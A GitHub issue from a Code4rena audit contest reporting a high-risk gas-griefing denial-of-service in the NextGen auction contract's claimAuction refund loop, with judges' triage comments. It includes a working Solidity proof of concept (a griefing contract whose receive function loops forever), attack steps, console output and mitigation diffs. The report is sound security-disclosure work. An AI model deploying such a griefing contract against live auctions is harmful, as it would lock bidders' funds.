Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Hacker can DoS auction and gas grief claimAuction caller #761

Closed
c4-submissions opened this issue Nov 9, 2023 · 4 comments
Closed

Hacker can DoS auction and gas grief claimAuction caller #761

c4-submissions opened this issue Nov 9, 2023 · 4 comments
Labels
3 (High Risk) Assets can be stolen/lost/compromised directly bug Something isn't working duplicate-734 satisfactory satisfies C4 submission criteria; eligible for awards

Comments

@c4-submissions
Copy link
Contributor

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/AuctionDemo.sol#L116

Vulnerability details

Impact

The vulnerability allows any participant, especially a malicious actor, to engage in a Denial of Service (DoS) attack on the auction claim functionality. By backrunning the auction creation and strategically participating in the bidding process, the attacker can exhaust the gas of the claim initiator, resulting in a transaction revert and locking the funds of other bidders in the auction contract.

Proof of Concept

The vulnerability arises in the claimAuction function, particularly in the bidding process where there is no gas limit set for the return of bids to participants. The lack of a gas limit enables a malicious participant to spend all the gas of the claim initiator, leading to a DoS attack.

function claimAuction(uint256 _tokenid) public WinnerOrAdminRequired(_tokenid,this.claimAuction.selector){
    for (uint256 i=0; i< auctionInfoData[_tokenid].length; i ++) {
        if (auctionInfoData[_tokenid][i].bidder == highestBidder && auctionInfoData[_tokenid][i].bid == highestBid && auctionInfoData[_tokenid][i].status == true) {
          // ...
        } else if (auctionInfoData[_tokenid][i].status == true) {
            (bool success, ) = payable(auctionInfoData[_tokenid][i].bidder).call{value: auctionInfoData[_tokenid][i].bid}(""); // @audit-issue no gas limit
            // ...
        } else {}
    }
}

The sequence of events leading to the DoS attack involves the creation of the auction, strategic bidding by the attacker, and the subsequent invocation of the claimAuction function:

  1. Auction is created.
  2. Hacker backruns auction creation to be the first to bid.
  3. In his transaction he sends a few bids with a dust amount of wei from a malicious contract.
  4. Other participants send their bids to the auction.
  5. Winner calls the claimAuction function.
  6. When bids are sent back to the hacker, the receive method in his contract spends all of it.
  7. The transaction initiator is gas griefed and the transaction reverts because of an out-of-gas error.
  8. Funds of all bidders are locked in the contract forever.

Hacker has to use multiple bids because of EIP150. Since this proposal, the gas sent to external calls is 63/64 of gas left.

Also, even with the gas limit in place, there is still a way to do the gas grieving. Hacker may use the receive method in his contract to return enormous data payload which is then saved to the memory. Writing (bool success, )is the same as (bool success, bytes memory data). Memory allocation becomes very costly and a huge amount of gas will be spent for allocating data to memory.

Remix PoC

A proof of concept has been developed using Remix to demonstrate how gas depletion occurs. The attacker exploits the absence of a gas limit, causing the transaction to fail due to an out-of-gas error.

  1. Copy the snippet to https://remix.ethereum.org
  2. Deploy Auction contract.
  3. Copy the Auction contract address.
  4. Deploy the GasGriefer contract. Use the Auction address as an input and send 10 wei with the transaction.
  5. Call Auction#claim method with maximum Ethereum block gas limit which is 30 000 000.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "hardhat/console.sol";

contract Auction {
    struct Bid {
        address bidder;
        uint bid;
    }

    Bid[] public bidInfo;

    function claim() public {
        for (uint i; i < bidInfo.length; i++) {
            console.log("Return bid number:", i + 1);
            console.log("|  Gas before external call:", gasleft());
            (bool success,) = payable(bidInfo[i].bidder).call{value: bidInfo[i].bid}("");
            console.log("|  Gas after external call:", gasleft());
        }
    }

    function participate() public payable {
        Bid memory newBid = Bid(msg.sender, msg.value);
        bidInfo.push(newBid);
    }
}

contract GasGriefer {
    uint public counter;

    constructor(address auction) payable {
        for (uint i; i < 4; i++) {
            Auction(auction).participate{value: i + 1}();
        }
    }

    receive() external payable {
        counter = 0;
        while (true) {
            counter++;
        }
    }
}

The result is that the transaction fails because of an out-of-gas error. The attacker paid only 10 wei to spend all the maximum gas in the block and brick the auction.

console.log:
Return bid number: 1
| Gas before external call: 29972904
| Gas after external call: 467942
Return bid number: 2
| Gas before external call: 465525
| Gas after external call: 6928
Return bid number: 3
| Gas before external call: 4510
transact to Auction.claim errored: Error occured: out of gas.

Why is this different from the bot race DoS issue?

In case you think that this is a duplicate of the issue reported in bot race by Hound, Permanent DoS due to non-shrinking array usage in an unbounded loop, let me explain why this issue is different.

Yes, the impact is similar - gas grieving and DoS of auction claim. But the root causes and solutions aren't the same and solving one won't solve the other. Hound's issue is based on growing the size of the array indefinitely. The transaction will revert because of iterating through the "infinitely" long array. Vulnerability I found doesn't depend on the growing array. All I need are three bids to DoS the claim and it's because of the missing gas limit.

Tools Used

Manual review

Recommended Mitigation Steps

To address this vulnerability, the following mitigation steps are highly recommended:

  1. Add gas limit to the low-level call when returning bids.
function claimAuction(uint256 _tokenid) public WinnerOrAdminRequired(_tokenid,this.claimAuction.selector){
    // ...
    for (uint256 i=0; i< auctionInfoData[_tokenid].length; i ++) {
        if (auctionInfoData[_tokenid][i].bidder == highestBidder && auctionInfoData[_tokenid][i].bid == highestBid && auctionInfoData[_tokenid][i].status == true) {
            // ...
        } else if (auctionInfoData[_tokenid][i].status == true) {
-           (bool success, ) = payable(auctionInfoData[_tokenid][i].bidder).call{value: auctionInfoData[_tokenid][i].bid}("");
+           (bool success, ) = payable(auctionInfoData[_tokenid][i].bidder).call{value: auctionInfoData[_tokenid][i].bid, gas: GAS_LIMIT}("");
            emit Refund(auctionInfoData[_tokenid][i].bidder, _tokenid, success, highestBid);
        } else {}
    }
}
  1. To address the problem of spending gas on copying huge payload to the memory, think about implementing a low-level assembly call.
function claimAuction(uint256 _tokenid) public WinnerOrAdminRequired(_tokenid,this.claimAuction.selector){
    // ...
    for (uint256 i=0; i< auctionInfoData[_tokenid].length; i ++) {
        if (auctionInfoData[_tokenid][i].bidder == highestBidder && auctionInfoData[_tokenid][i].bid == highestBid && auctionInfoData[_tokenid][i].status == true) {
            // ...
        } else if (auctionInfoData[_tokenid][i].status == true) {
-           (bool success, ) = payable(auctionInfoData[_tokenid][i].bidder).call{value: auctionInfoData[_tokenid][i].bid}("");
+           bool success;
+           address bidder = auctionInfoData[_tokenid][i].bidder;
+           uint bid = auctionInfoData[_tokenid][i].bid;
+           assembly {
+               success := call(GAS_LIMIT, bidder, bid, 0, 0, 0, 0)
+           }
            emit Refund(auctionInfoData[_tokenid][i].bidder, _tokenid, success, highestBid);
        } else {}
    }
}

Assessed type

DoS

@c4-submissions c4-submissions added 3 (High Risk) Assets can be stolen/lost/compromised directly bug Something isn't working labels Nov 9, 2023
c4-submissions added a commit that referenced this issue Nov 9, 2023
@c4-pre-sort
Copy link

141345 marked the issue as duplicate of #486

@c4-judge
Copy link

c4-judge commented Dec 1, 2023

alex-ppg marked the issue as not a duplicate

@c4-judge
Copy link

c4-judge commented Dec 1, 2023

alex-ppg marked the issue as duplicate of #1782

@c4-judge
Copy link

c4-judge commented Dec 8, 2023

alex-ppg marked the issue as satisfactory

@c4-judge c4-judge added the satisfactory satisfies C4 submission criteria; eligible for awards label Dec 8, 2023
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
3 (High Risk) Assets can be stolen/lost/compromised directly bug Something isn't working duplicate-734 satisfactory satisfies C4 submission criteria; eligible for awards
Projects
None yet
Development

No branches or pull requests

3 participants